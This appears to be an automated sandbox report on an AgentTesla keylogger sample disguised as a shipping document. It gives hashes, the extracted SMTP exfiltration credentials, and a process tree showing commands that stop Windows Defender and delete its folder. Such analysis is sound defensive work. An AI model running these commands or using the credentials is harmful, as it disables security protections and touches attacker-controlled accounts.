Overview

overview

10

Static

static

Vessel's p...LK.exe

windows7_x64

10

Vessel's p...LK.exe

windows10_x64

10

Analysis

  • max time kernel
    102s
  • max time network
    13s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    02/07/2021, 06:16

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General

  • Target
    Vessel's particular_DRYBULK.exe
  • Size 531KB
  • Sample210702-ppdwyehzda
  • SHA256 8408707aaa2dc1118bda9431f110e265d716b5cb5bc0ca8a9655828cad8b7b0e
  • MD5 SHA1 SHA512
Score
10/10
agentteslakeyloggerspywarestealertrojan

Malware Config

Extracted

Family

  • agenttesla

Credentials
  • Protocol

    smtp
  • Host

    smtp.bafaqroup.com
  • Port

    587
  • Username

    [email protected]
  • Password

    bs%K^dS2

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • AgentTesla Payload 3 IoCs
  • Nirsoft 13 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 8 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Vessel's particular_DRYBULK.exe
    "C:\Users\Admin\AppData\Local\Temp\Vessel's particular_DRYBULK.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
        "C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /SpecialRun 4101d8 432
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1196
    • C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:732
      • C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
        "C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /SpecialRun 4101d8 732
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:548
    • C:\Users\Admin\AppData\Local\Temp\Vessel's particular_DRYBULK.exe
      "C:\Users\Admin\AppData\Local\Temp\Vessel's particular_DRYBULK.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:436

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/432-74-0x0000000075551000-0x0000000075553000-memory.dmp
        Download

        memory/436-95-0x0000000004C50000-0x0000000004C51000-memory.dmp
        Download

        memory/436-93-0x0000000000400000-0x000000000043C000-memory.dmp
        Download

        memory/436-91-0x0000000000400000-0x000000000043C000-memory.dmp
        Download

        memory/788-63-0x0000000004995000-0x00000000049A6000-memory.dmp
        Download

        memory/788-62-0x0000000004990000-0x0000000004991000-memory.dmp
        Download

        memory/788-64-0x0000000000A50000-0x0000000000A9D000-memory.dmp
        Download

        memory/788-69-0x00000000048C0000-0x000000000491F000-memory.dmp
        Download

        memory/788-60-0x0000000000C40000-0x0000000000C41000-memory.dmp
        Download